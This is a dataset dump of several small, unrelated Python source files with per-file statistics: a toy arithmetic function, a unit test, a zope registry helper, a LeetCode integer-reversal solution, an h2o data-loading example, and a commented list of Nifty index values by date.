] | 76 | 2017-10-19T05:09:55.000Z | 2020-12-08T12:03:59.000Z |
def Main():
a = 1
b = 2
c = 3
e = 4
d = a + b - c * e
return d
| 8.181818 | 21 | 0.3 | 17 | 90 | 1.588235 | 0.705882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 0.577778 | 90 | 10 | 22 | 9 | 0.605263 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.285714 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
07eef85ee97c660526a1b7c7eae2dbd4edc75fcc | 409 | py | Python | tests/test_core.py | kyouko-taiga/stew | 6f2186493ae200aab0b9f2a5727fa8da4b11661d | [
"Apache-2.0"
] | 5 | 2016-09-11T06:06:10.000Z | 2018-04-16T15:17:14.000Z | tests/test_core.py | kyouko-taiga/stew | 6f2186493ae200aab0b9f2a5727fa8da4b11661d | [
"Apache-2.0"
] | null | null | null | tests/test_core.py | kyouko-taiga/stew | 6f2186493ae200aab0b9f2a5727fa8da4b11661d | [
"Apache-2.0"
] | null | null | null | import unittest
from stew.core import Sort, generator
class S(Sort):
@generator
def nil() -> S: pass
@generator
def suc(self: S) -> S: pass
class TestSort(unittest.TestCase):
def test_generator_equality(self):
self.assertEqual(S.nil(), S.nil())
self.assertEqual(S.suc(S.nil()), S.suc(S.nil()))
self.assertEqual(S.suc(S.suc(S.nil())), S.suc(S.suc(S.nil())))
| 19.47619 | 70 | 0.616137 | 62 | 409 | 4.032258 | 0.306452 | 0.096 | 0.12 | 0.128 | 0.296 | 0.296 | 0.268 | 0 | 0 | 0 | 0 | 0 | 0.205379 | 409 | 20 | 71 | 20.45 | 0.769231 | 0 | 0 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | false | 0.166667 | 0.166667 | 0 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
6af3df82857a621a7ea0df46f23b4866e19fd549 | 421 | py | Python | src/grokcore/registries/utils.py | zopefoundation/grokcore.registries | 90c5221867e07c0194df36f13fa4dda5f3a4923c | [
"ZPL-2.1"
] | null | null | null | src/grokcore/registries/utils.py | zopefoundation/grokcore.registries | 90c5221867e07c0194df36f13fa4dda5f3a4923c | [
"ZPL-2.1"
] | null | null | null | src/grokcore/registries/utils.py | zopefoundation/grokcore.registries | 90c5221867e07c0194df36f13fa4dda5f3a4923c | [
"ZPL-2.1"
] | null | null | null | # -*- coding: utf-8 -*-
from zope.component import getSiteManager, getGlobalSiteManager
from zope.component.interfaces import IComponents
def contextualSiteManager():
return getSiteManager() or getGlobalSiteManager()
def query_registry(name, parent_components=None):
if parent_components is None:
parent_components = contextualSiteManager()
return parent_components.getUtility(IComponents, name)
| 28.066667 | 63 | 0.783848 | 42 | 421 | 7.738095 | 0.571429 | 0.196923 | 0.104615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002755 | 0.137767 | 421 | 14 | 64 | 30.071429 | 0.892562 | 0.049881 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.125 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ed057db899c557d3a7bfd732b6ec6f56be528c9c | 395 | py | Python | CONTENT/DS-n-Algos/ALGO/_LEETCODE/007_reverse_integer/reverse_integer.py | impastasyndrome/DS-ALGO-OFFICIAL | c85ec9cf0af0009f038b7a571a7ac1fb466b7f3a | [
"Apache-2.0"
] | 13 | 2021-03-11T00:25:22.000Z | 2022-03-19T00:19:23.000Z | CONTENT/DS-n-Algos/ALGO/_LEETCODE/007_reverse_integer/reverse_integer.py | impastasyndrome/DS-ALGO-OFFICIAL | c85ec9cf0af0009f038b7a571a7ac1fb466b7f3a | [
"Apache-2.0"
] | 162 | 2021-03-09T01:52:11.000Z | 2022-03-12T01:09:07.000Z | CONTENT/DS-n-Algos/ALGO/_LEETCODE/007_reverse_integer/reverse_integer.py | impastasyndrome/DS-ALGO-OFFICIAL | c85ec9cf0af0009f038b7a571a7ac1fb466b7f3a | [
"Apache-2.0"
] | 12 | 2021-04-26T19:43:01.000Z | 2022-01-31T08:36:29.000Z | class Solution:
# @param {integer} x
# @return {integer}
def reverse(self, x):
neg = False
if x<0:
neg =True
x = -x
print x
reversed_int = int(''.join(reversed(str(x))))
if reversed_int>(1<<31):
reversed_int = 0
if neg:
return -reversed_int
else:
return reversed_int
| 23.235294 | 53 | 0.473418 | 46 | 395 | 3.956522 | 0.478261 | 0.302198 | 0.186813 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02193 | 0.422785 | 395 | 16 | 54 | 24.6875 | 0.776316 | 0.091139 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.071429 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ed1760e71170c90d75b5c01a148304f645dedab6 | 180 | py | Python | h2o-docs/src/booklets/v2_2015/source/GBM_Vignette_code_examples/gbm_uploadfile_example.py | ahmedengu/h2o-3 | ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11 | [
"Apache-2.0"
] | 6,098 | 2015-05-22T02:46:12.000Z | 2022-03-31T16:54:51.000Z | h2o-docs/src/booklets/v2_2015/source/GBM_Vignette_code_examples/gbm_uploadfile_example.py | ahmedengu/h2o-3 | ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11 | [
"Apache-2.0"
] | 2,517 | 2015-05-23T02:10:54.000Z | 2022-03-30T17:03:39.000Z | h2o-docs/src/booklets/v2_2015/source/GBM_Vignette_code_examples/gbm_uploadfile_example.py | ahmedengu/h2o-3 | ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11 | [
"Apache-2.0"
] | 2,199 | 2015-05-22T04:09:55.000Z | 2022-03-28T22:20:45.000Z | import h2o
h2o.init()
weather_hex = h2o.import_file("http://h2o-public-test-data.s3.amazonaws.com/smalldata/junit/weather.csv")
# Get a summary of the data
weather_hex.describe()
| 25.714286 | 105 | 0.772222 | 30 | 180 | 4.533333 | 0.733333 | 0.147059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030303 | 0.083333 | 180 | 6 | 106 | 30 | 0.793939 | 0.138889 | 0 | 0 | 0 | 0.25 | 0.470588 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
ed19c59390009da24990167590bc2aaa03e619dc | 54,038 | py | Python | tests/test_nav_data.py | sprksh/finance-calculator | d118b2d9d286ebf86deadcd50738fe8af0dd4db5 | [
"BSD-2-Clause"
] | 12 | 2020-09-08T15:34:19.000Z | 2022-02-05T06:46:36.000Z | tests/test_nav_data.py | sprksh/finance-calculator | d118b2d9d286ebf86deadcd50738fe8af0dd4db5 | [
"BSD-2-Clause"
] | 1 | 2020-11-09T11:00:31.000Z | 2020-11-16T11:50:51.000Z | tests/test_nav_data.py | sprksh/finance-calculator | d118b2d9d286ebf86deadcd50738fe8af0dd4db5 | [
"BSD-2-Clause"
] | 3 | 2020-11-09T18:16:09.000Z | 2021-12-06T20:21:31.000Z | from tests.data import scheme_data, benchmark_data
benchmark_scheme_code = 'S0089095'
benchmark_scheme_name = 'Nifty Largemidcap 250 (Total Return)'
# benchmark_data = [
# ('2017-06-01', 6249.670000),
# ('2017-06-02', 6283.580000),
# ('2017-06-05', 6312.220000),
# ('2017-06-06', 6287.370000),
# ('2017-06-07', 6322.570000),
# ('2017-06-08', 6326.120000),
# ('2017-06-09', 6344.990000),
# ('2017-06-12', 6307.140000),
# ('2017-06-13', 6310.080000),
# ('2017-06-14', 6330.510000),
# ('2017-06-15', 6322.430000),
# ('2017-06-16', 6325.720000),
# ('2017-06-19', 6340.890000),
# ('2017-06-20', 6344.720000),
# ('2017-06-21', 6341.670000),
# ('2017-06-22', 6322.240000),
# ('2017-06-23', 6261.470000),
# ('2017-06-27', 6201.430000),
# ('2017-06-28', 6202.960000),
# ('2017-06-29', 6228.370000),
# ('2017-06-30', 6266.390000),
# ('2017-07-03', 6326.000000),
# ('2017-07-04', 6317.730000),
# ('2017-07-05', 6359.860000),
# ('2017-07-06', 6380.100000),
# ('2017-07-07', 6379.840000),
# ('2017-07-10', 6426.220000),
# ('2017-07-11', 6403.320000),
# ('2017-07-12', 6439.460000),
# ('2017-07-13', 6482.120000),
# ('2017-07-14', 6482.490000),
# ('2017-07-17', 6490.430000),
# ('2017-07-18', 6444.600000),
# ('2017-07-19', 6496.640000),
# ('2017-07-20', 6484.510000),
# ('2017-07-21', 6495.610000),
# ('2017-07-24', 6514.340000),
# ('2017-07-25', 6530.680000),
# ('2017-07-26', 6553.130000),
# ('2017-07-27', 6549.750000),
# ('2017-07-28', 6565.680000),
# ('2017-07-31', 6596.120000),
# ('2017-08-01', 6605.730000),
# ('2017-08-02', 6596.400000),
# ('2017-08-03', 6542.440000),
# ('2017-08-04', 6573.180000),
# ('2017-08-07', 6616.810000),
# ('2017-08-08', 6562.290000),
# ('2017-08-09', 6481.690000),
# ('2017-08-10', 6347.890000),
# ('2017-08-11', 6304.350000),
# ('2017-08-14', 6415.380000),
# ('2017-08-16', 6491.910000),
# ('2017-08-17', 6494.510000),
# ('2017-08-18', 6464.360000),
# ('2017-08-21', 6401.110000),
# ('2017-08-22', 6382.730000),
# ('2017-08-23', 6448.680000),
# ('2017-08-24', 6469.980000),
# ('2017-08-28', 6525.200000),
# ('2017-08-29', 6458.990000),
# ('2017-08-30', 6531.320000),
# ('2017-08-31', 6562.400000),
# ('2017-09-01', 6611.730000),
# ('2017-09-04', 6570.390000),
# ('2017-09-05', 6615.920000),
# ('2017-09-06', 6611.720000),
# ('2017-09-07', 6633.240000),
# ('2017-09-08', 6628.440000),
# ('2017-09-11', 6676.670000),
# ('2017-09-12', 6741.560000),
# ('2017-09-13', 6714.870000),
# ('2017-09-14', 6740.700000),
# ('2017-09-15', 6753.900000),
# ('2017-09-18', 6801.960000),
# ('2017-09-19', 6806.650000),
# ('2017-09-20', 6789.070000),
# ('2017-09-21', 6769.620000),
# ('2017-09-22', 6623.560000),
# ('2017-09-25', 6540.050000),
# ('2017-09-26', 6565.970000),
# ('2017-09-27', 6458.900000),
# ('2017-09-28', 6494.380000),
# ('2017-09-29', 6532.450000),
# ('2017-10-03', 6579.250000),
# ('2017-10-04', 6608.970000),
# ('2017-10-05', 6620.850000),
# ('2017-10-06', 6682.540000),
# ('2017-10-09', 6686.540000),
# ('2017-10-10', 6724.910000),
# ('2017-10-11', 6682.110000),
# ('2017-10-12', 6755.780000),
# ('2017-10-13', 6779.930000),
# ('2017-10-16', 6819.300000),
# ('2017-10-17', 6835.820000),
# ('2017-10-18', 6822.610000),
# ('2017-10-19', 6789.830000),
# ('2017-10-23', 6819.220000),
# ('2017-10-24', 6838.170000),
# ('2017-10-25', 6884.180000),
# ('2017-10-26', 6915.230000),
# ('2017-10-27', 6913.040000),
# ('2017-10-30', 6976.180000),
# ('2017-10-31', 6978.180000),
# ('2017-11-01', 7030.350000),
# ('2017-11-02', 7043.920000),
# ('2017-11-03', 7055.150000),
# ('2017-11-06', 7063.560000),
# ('2017-11-07', 6981.150000),
# ('2017-11-08', 6938.710000),
# ('2017-11-09', 6984.940000),
# ('2017-11-10', 6996.290000),
# ('2017-11-13', 6957.060000),
# ('2017-11-14', 6934.650000),
# ('2017-11-15', 6871.500000),
# ('2017-11-16', 6946.260000),
# ('2017-11-17', 7003.360000),
# ('2017-11-20', 7031.360000),
# ('2017-11-21', 7047.110000),
# ('2017-11-22', 7053.230000),
# ('2017-11-23', 7065.880000),
# ('2017-11-24', 7101.260000),
# ('2017-11-27', 7124.880000),
# ('2017-11-28', 7118.780000),
# ('2017-11-29', 7106.750000),
# ('2017-11-30', 7055.340000),
# ('2017-12-01', 6989.140000),
# ('2017-12-04', 6991.290000),
# ('2017-12-05', 6997.330000),
# ('2017-12-06', 6943.320000),
# ('2017-12-07', 7028.140000),
# ('2017-12-08', 7092.490000),
# ('2017-12-11', 7123.680000),
# ('2017-12-12', 7068.940000),
# ('2017-12-13', 7022.510000),
# ('2017-12-14', 7036.270000),
# ('2017-12-15', 7108.520000),
# ('2017-12-18', 7154.320000),
# ('2017-12-19', 7228.390000),
# ('2017-12-20', 7242.940000),
# ('2017-12-21', 7280.020000),
# ('2017-12-22', 7306.300000),
# ('2017-12-26', 7335.280000),
# ('2017-12-27', 7324.190000),
# ('2017-12-28', 7326.610000),
# ('2017-12-29', 7376.630000),
# ('2018-01-01', 7341.750000),
# ('2018-01-02', 7310.600000),
# ('2018-01-03', 7334.380000),
# ('2018-01-04', 7383.780000),
# ('2018-01-05', 7444.590000),
# ('2018-01-08', 7500.390000),
# ('2018-01-09', 7496.610000),
# ('2018-01-10', 7479.640000),
# ('2018-01-11', 7499.080000),
# ('2018-01-12', 7501.660000),
# ('2018-01-15', 7519.190000),
# ('2018-01-16', 7433.510000),
# ('2018-01-17', 7490.100000),
# ('2018-01-18', 7428.990000),
# ('2018-01-19', 7494.980000),
# ('2018-01-22', 7544.150000),
# ('2018-01-23', 7608.550000),
# ('2018-01-24', 7578.670000),
# ('2018-01-25', 7535.590000),
# ('2018-01-29', 7523.100000),
# ('2018-01-30', 7465.510000),
# ('2018-01-31', 7409.630000),
# ('2018-02-01', 7393.150000),
# ('2018-02-02', 7151.670000),
# ('2018-02-05', 7103.930000),
# ('2018-02-06', 6984.310000),
# ('2018-02-07', 7001.640000),
# ('2018-02-08', 7104.270000),
# ('2018-02-09', 7069.890000),
# ('2018-02-12', 7153.900000),
# ('2018-02-14', 7150.510000),
# ('2018-02-15', 7134.130000),
# ('2018-02-16', 7072.080000),
# ('2018-02-19', 7010.390000),
# ('2018-02-20', 7001.110000),
# ('2018-02-21', 7013.450000),
# ('2018-02-22', 6987.110000),
# ('2018-02-23', 7082.970000),
# ('2018-02-26', 7140.810000),
# ('2018-02-27', 7115.930000),
# ('2018-02-28', 7098.300000),
# ('2018-03-01', 7067.870000),
# ('2018-03-05', 7003.200000),
# ('2018-03-06', 6933.850000),
# ('2018-03-07', 6848.640000),
# ('2018-03-08', 6899.100000),
# ('2018-03-09', 6887.220000),
# ('2018-03-12', 6976.030000),
# ('2018-03-13', 7014.610000),
# ('2018-03-14', 7016.050000),
# ('2018-03-15', 7014.240000),
# ('2018-03-16', 6925.280000),
# ('2018-03-19', 6833.680000),
# ('2018-03-20', 6857.630000),
# ('2018-03-21', 6878.370000),
# ('2018-03-22', 6841.190000),
# ('2018-03-23', 6758.010000),
# ('2018-03-26', 6847.160000),
# ('2018-03-27', 6906.930000),
# ('2018-03-28', 6866.670000),
# ('2018-04-02', 6958.580000),
# ('2018-04-03', 7001.730000),
# ('2018-04-04', 6928.720000),
# ('2018-04-05', 7055.850000),
# ('2018-04-06', 7078.350000),
# ('2018-04-09', 7102.200000),
# ('2018-04-10', 7114.100000),
# ('2018-04-11', 7122.720000),
# ('2018-04-12', 7123.350000),
# ('2018-04-13', 7145.720000),
# ('2018-04-16', 7183.730000),
# ('2018-04-17', 7200.170000),
# ('2018-04-18', 7187.780000),
# ('2018-04-19', 7223.920000),
# ('2018-04-20', 7211.110000),
# ('2018-04-23', 7235.760000),
# ('2018-04-24', 7243.670000),
# ('2018-04-25', 7218.150000),
# ('2018-04-26', 7243.850000),
# ('2018-04-27', 7292.260000),
# ('2018-04-30', 7339.930000),
# ('2018-05-02', 7281.100000),
# ('2018-05-03', 7229.790000),
# ('2018-05-04', 7196.710000),
# ('2018-05-07', 7254.510000),
# ('2018-05-08', 7253.210000),
# ('2018-05-09', 7237.580000),
# ('2018-05-10', 7175.270000),
# ('2018-05-11', 7213.850000),
# ('2018-05-14', 7176.820000),
# ('2018-05-15', 7145.350000),
# ('2018-05-16', 7122.370000),
# ('2018-05-17', 7117.620000),
# ('2018-05-18', 7042.020000),
# ('2018-05-21', 6954.580000),
# ('2018-05-22', 6977.960000),
# ('2018-05-23', 6927.780000),
# ('2018-05-24', 6940.570000),
# ('2018-05-25', 7032.420000),
# ('2018-05-28', 7107.610000),
# ('2018-05-29', 7084.160000),
# ('2018-05-30', 7077.240000),
# ('2018-05-31', 7109.050000),
# ('2018-06-01', 7050.330000),
# ('2018-06-04', 6989.470000),
# ('2018-06-05', 6930.640000),
# ('2018-06-06', 7008.170000),
# ('2018-06-07', 7086.160000),
# ('2018-06-08', 7107.110000),
# ('2018-06-11', 7117.230000),
# ('2018-06-12', 7163.080000),
# ('2018-06-13', 7154.750000),
# ('2018-06-14', 7147.480000),
# ('2018-06-15', 7129.390000),
# ('2018-06-18', 7109.610000),
# ('2018-06-19', 7040.720000),
# ('2018-06-20', 7071.620000),
# ('2018-06-21', 7043.150000),
# ('2018-06-22', 7079.300000),
# ('2018-06-25', 7033.180000),
# ('2018-06-26', 7028.140000),
# ('2018-06-27', 6945.040000),
# ('2018-06-28', 6858.360000),
# ('2018-06-29', 6959.570000),
# ('2018-07-02', 6923.900000),
# ('2018-07-03', 6960.280000),
# ('2018-07-04', 6989.150000),
# ('2018-07-05', 6961.060000),
# ('2018-07-06', 6985.900000),
# ('2018-07-09', 7063.630000),
# ('2018-07-10', 7120.720000),
# ('2018-07-11', 7105.310000),
# ('2018-07-12', 7114.080000),
# ('2018-07-13', 7076.940000),
# ('2018-07-16', 6963.540000),
# ('2018-07-17', 7055.900000),
# ('2018-07-18', 7010.910000),
# ('2018-07-19', 6981.410000),
# ('2018-07-20', 7029.180000),
# ('2018-07-23', 7093.120000),
# ('2018-07-24', 7168.760000),
# ('2018-07-25', 7167.550000),
# ('2018-07-26', 7198.600000),
# ('2018-07-27', 7265.430000),
# ('2018-07-30', 7288.420000),
# ('2018-07-31', 7314.910000),
# ('2018-08-01', 7322.420000),
# ('2018-08-02', 7292.720000),
# ('2018-08-03', 7364.250000),
# ('2018-08-06', 7385.420000),
# ('2018-08-07', 7379.710000),
# ('2018-08-08', 7400.490000),
# ('2018-08-09', 7422.550000),
# ('2018-08-10', 7391.630000),
# ('2018-08-13', 7345.430000),
# ('2018-08-14', 7415.120000),
# ('2018-08-16', 7392.790000),
# ('2018-08-17', 7458.770000),
# ('2018-08-20', 7510.760000),
# ('2018-08-21', 7529.550000),
# ('2018-08-23', 7532.630000),
# ('2018-08-24', 7515.640000),
# ('2018-08-27', 7601.330000),
# ('2018-08-28', 7614.070000),
# ('2018-08-29', 7619.890000),
# ('2018-08-30', 7623.710000),
# ('2018-08-31', 7642.630000),
# ('2018-09-03', 7598.880000),
# ('2018-09-04', 7478.950000),
# ('2018-09-05', 7441.670000),
# ('2018-09-06', 7476.190000),
# ('2018-09-07', 7535.270000),
# ('2018-09-10', 7428.000000),
# ('2018-09-11', 7331.170000),
# ('2018-09-12', 7365.820000),
# ('2018-09-14', 7471.480000),
# ('2018-09-17', 7406.370000),
# ('2018-09-18', 7321.090000),
# ('2018-09-19', 7273.480000),
# ('2018-09-21', 7167.890000),
# ('2018-09-24', 7011.640000),
# ('2018-09-25', 7039.180000),
# ('2018-09-26', 7048.870000),
# ('2018-09-27', 6948.570000),
# ('2018-09-28', 6869.050000),
# ('2018-10-01', 6899.410000),
# ('2018-10-03', 6817.250000),
# ('2018-10-04', 6670.980000),
# ('2018-10-05', 6496.250000),
# ('2018-10-08', 6445.230000),
# ('2018-10-09', 6418.270000),
# ('2018-10-10', 6595.730000),
# ('2018-10-11', 6456.810000),
# ('2018-10-12', 6614.580000),
# ('2018-10-15', 6656.060000),
# ('2018-10-16', 6730.820000),
# ('2018-10-17', 6618.150000),
# ('2018-10-19', 6526.830000),
# ('2018-10-22', 6466.690000),
# ('2018-10-23', 6403.430000),
# ('2018-10-24', 6462.760000),
# ('2018-10-25', 6414.010000),
# ('2018-10-26', 6384.810000),
# ('2018-10-29', 6542.020000),
# ('2018-10-30', 6554.450000),
# ('2018-10-31', 6671.990000),
# ('2018-11-01', 6699.850000),
# ('2018-11-02', 6771.850000),
# ('2018-11-05', 6752.190000),
# ('2018-11-06', 6736.830000),
# ('2018-11-07', 6787.280000),
# ('2018-11-09', 6818.610000),
# ('2018-11-12', 6754.890000),
# ('2018-11-13', 6793.100000),
# ('2018-11-14', 6795.820000),
# ('2018-11-15', 6826.560000),
# ('2018-11-16', 6843.400000),
# ('2018-11-19', 6882.130000),
# ('2018-11-20', 6815.910000),
# ('2018-11-21', 6815.650000),
# ('2018-11-22', 6764.760000),
# ('2018-11-26', 6804.770000),
# ('2018-11-27', 6837.820000),
# ('2018-11-28', 6822.900000),
# ('2018-11-29', 6878.830000),
# ('2018-11-30', 6908.640000),
# ('2018-12-03', 6931.300000),
# ('2018-12-04', 6924.410000),
# ('2018-12-05', 6852.660000),
# ('2018-12-06', 6743.960000),
# ('2018-12-07', 6770.710000),
# ('2018-12-10', 6639.280000),
# ('2018-12-11', 6712.930000),
# ('2018-12-12', 6859.350000),
# ('2018-12-13', 6906.600000),
# ('2018-12-14', 6917.200000),
# ('2018-12-17', 6956.830000),
# ('2018-12-18', 6973.550000),
# ('2018-12-19', 7037.250000),
# ('2018-12-20', 7032.780000),
# ('2018-12-21', 6923.190000),
# ('2018-12-24', 6869.010000),
# ('2018-12-26', 6884.310000),
# ('2018-12-27', 6913.300000),
# ('2018-12-28', 6974.000000),
# ('2018-12-31', 6995.890000),
# ('2019-01-01', 7009.390000),
# ('2019-01-02', 6935.850000),
# ('2019-01-03', 6875.990000),
# ('2019-01-04', 6907.220000),
# ('2019-01-07', 6920.510000),
# ('2019-01-08', 6927.410000),
# ('2019-01-09', 6939.510000),
# ('2019-01-10', 6947.420000),
# ('2019-01-11', 6935.080000),
# ('2019-01-14', 6904.260000),
# ('2019-01-15', 6967.870000),
# ('2019-01-16', 6963.310000),
# ('2019-01-17', 6959.030000),
# ('2019-01-18', 6937.280000),
# ('2019-01-21', 6926.940000),
# ('2019-01-22', 6913.720000),
# ('2019-01-23', 6877.710000),
# ('2019-01-24', 6873.330000),
# ('2019-01-25', 6802.990000),
# ('2019-01-28', 6705.320000),
# ('2019-01-29', 6710.940000),
# ('2019-01-30', 6729.150000),
# ('2019-01-31', 6799.710000),
# ('2019-02-01', 6838.350000),
# ('2019-02-04', 6817.230000),
# ('2019-02-05', 6794.570000),
# ('2019-02-06', 6837.670000),
# ('2019-02-07', 6867.260000),
# ('2019-02-08', 6786.490000),
# ('2019-02-11', 6716.530000),
# ('2019-02-12', 6693.470000),
# ('2019-02-13', 6669.500000),
# ('2019-02-14', 6672.020000),
# ('2019-02-15', 6633.190000),
# ('2019-02-18', 6571.910000),
# ('2019-02-19', 6577.620000),
# ('2019-02-20', 6648.040000),
# ('2019-02-21', 6697.900000),
# ('2019-02-22', 6716.360000),
# ('2019-02-25', 6755.130000),
# ('2019-02-26', 6739.420000),
# ('2019-02-27', 6746.240000),
# ('2019-02-28', 6763.650000),
# ('2019-03-01', 6831.100000),
# ('2019-03-05', 6943.150000),
# ('2019-03-06', 6979.370000),
# ('2019-03-07', 6969.600000),
# ('2019-03-08', 6959.790000),
# ('2019-03-11', 7073.860000),
# ('2019-03-12', 7132.870000),
# ('2019-03-13', 7124.840000),
# ('2019-03-14', 7124.490000),
# ('2019-03-15', 7169.800000),
# ('2019-03-18', 7169.380000),
# ('2019-03-19', 7209.480000),
# ('2019-03-20', 7190.990000),
# ('2019-03-22', 7155.890000),
# ('2019-03-25', 7093.620000),
# ('2019-03-26', 7167.320000),
# ('2019-03-27', 7175.120000),
# ('2019-03-28', 7254.360000),
# ('2019-03-29', 7310.400000),
# ('2019-04-01', 7334.140000),
# ('2019-04-02', 7344.440000),
# ('2019-04-03', 7288.580000),
# ('2019-04-04', 7270.900000),
# ('2019-04-05', 7316.570000),
# ('2019-04-08', 7272.060000),
# ('2019-04-09', 7295.520000),
# ('2019-04-10', 7263.890000),
# ('2019-04-11', 7270.840000),
# ('2019-04-12', 7299.310000),
# ('2019-04-15', 7332.520000),
# ('2019-04-16', 7365.780000),
# ('2019-04-18', 7323.180000),
# ('2019-04-22', 7216.200000),
# ('2019-04-23', 7214.450000),
# ('2019-04-24', 7267.750000),
# ('2019-04-25', 7229.110000),
# ('2019-04-26', 7249.700000),
# ('2019-04-30', 7217.160000),
# ('2019-05-02', 7188.390000),
# ('2019-05-03', 7181.780000),
# ('2019-05-06', 7119.610000),
# ('2019-05-07', 7055.650000),
# ('2019-05-08', 6981.700000),
# ('2019-05-09', 6958.040000),
# ('2019-05-10', 6963.450000),
# ('2019-05-13', 6852.450000),
# ('2019-05-14', 6886.800000),
# ('2019-05-15', 6848.760000),
# ('2019-05-16', 6884.520000),
# ('2019-05-17', 6961.940000),
# ('2019-05-20', 7215.920000),
# ('2019-05-21', 7145.340000),
# ('2019-05-22', 7157.590000),
# ('2019-05-23', 7133.080000),
# ('2019-05-24', 7262.390000),
# ('2019-05-27', 7345.100000),
# ('2019-05-28', 7356.070000),
# ('2019-05-29', 7311.520000),
# ('2019-05-30', 7356.360000),
# ('2019-05-31', 7355.000000),
# ('2019-06-03', 7435.290000),
# ('2019-06-04', 7413.330000),
# ('2019-06-06', 7300.730000),
# ('2019-06-07', 7302.980000),
# ('2019-06-10', 7322.190000),
# ('2019-06-11', 7358.140000),
# ('2019-06-12', 7308.650000),
# ('2019-06-13', 7303.490000),
# ('2019-06-14', 7244.360000),
# ('2019-06-17', 7153.610000),
# ('2019-06-18', 7155.210000),
# ('2019-06-19', 7120.510000),
# ('2019-06-20', 7216.540000),
# ('2019-06-21', 7187.310000),
# ('2019-06-24', 7171.930000),
# ('2019-06-25', 7221.850000),
# ('2019-06-26', 7266.830000),
# ('2019-06-27', 7285.290000),
# ('2019-06-28', 7266.230000),
# ('2019-07-01', 7297.340000),
# ('2019-07-02', 7321.880000),
# ('2019-07-03', 7331.800000),
# ('2019-07-04', 7336.490000),
# ('2019-07-05', 7238.450000),
# ('2019-07-08', 7074.340000),
# ('2019-07-09', 7086.810000),
# ('2019-07-10', 7037.420000),
# ('2019-07-11', 7090.990000),
# ('2019-07-12', 7097.330000),
# ('2019-07-15', 7084.960000),
# ('2019-07-16', 7133.020000),
# ('2019-07-17', 7133.400000),
# ('2019-07-18', 7054.840000),
# ('2019-07-19', 6937.470000),
# ('2019-07-22', 6896.910000),
# ('2019-07-23', 6879.450000),
# ('2019-07-24', 6811.440000),
# ('2019-07-25', 6826.290000),
# ('2019-07-26', 6855.440000),
# ('2019-07-29', 6795.180000),
# ('2019-07-30', 6706.310000),
# ('2019-07-31', 6754.900000),
# ('2019-08-01', 6683.280000),
# ('2019-08-02', 6686.490000),
# ('2019-08-05', 6601.210000),
# ('2019-08-06', 6685.890000),
# ('2019-08-07', 6644.000000),
# ('2019-08-08', 6719.020000),
# ('2019-08-09', 6775.170000),
# ('2019-08-13', 6655.100000),
# ('2019-08-14', 6716.420000),
# ('2019-08-16', 6733.490000),
# ('2019-08-19', 6745.970000),
# ('2019-08-20', 6709.800000),
# ('2019-08-21', 6633.790000),
# ('2019-08-22', 6525.190000),
# ('2019-08-23', 6580.740000),
# ('2019-08-26', 6693.680000),
# ('2019-08-27', 6740.680000),
# ('2019-08-28', 6694.270000),
# ('2019-08-29', 6655.210000),
# ('2019-08-30', 6712.110000),
# ('2019-09-03', 6592.120000),
# ('2019-09-04', 6615.460000),
# ('2019-09-05', 6626.800000),
# ('2019-09-06', 6676.630000),
# ('2019-09-09', 6728.850000),
# ('2019-09-11', 6767.220000),
# ('2019-09-12', 6744.810000),
# ('2019-09-13', 6790.160000),
# ('2019-09-16', 6767.290000),
# ('2019-09-17', 6649.060000),
# ('2019-09-18', 6669.320000),
# ('2019-09-19', 6579.780000),
# ('2019-09-20', 6942.110000),
# ('2019-09-23', 7132.290000),
# ('2019-09-24', 7111.720000),
# ('2019-09-25', 7007.770000),
# ('2019-09-26', 7075.820000),
# ('2019-09-27', 7029.990000),
# ('2019-09-30', 6969.460000),
# ('2019-10-01', 6878.070000),
# ('2019-10-03', 6859.160000),
# ('2019-10-04', 6789.030000),
# ('2019-10-07', 6760.230000),
# ('2019-10-09', 6854.440000),
# ('2019-10-10', 6798.440000),
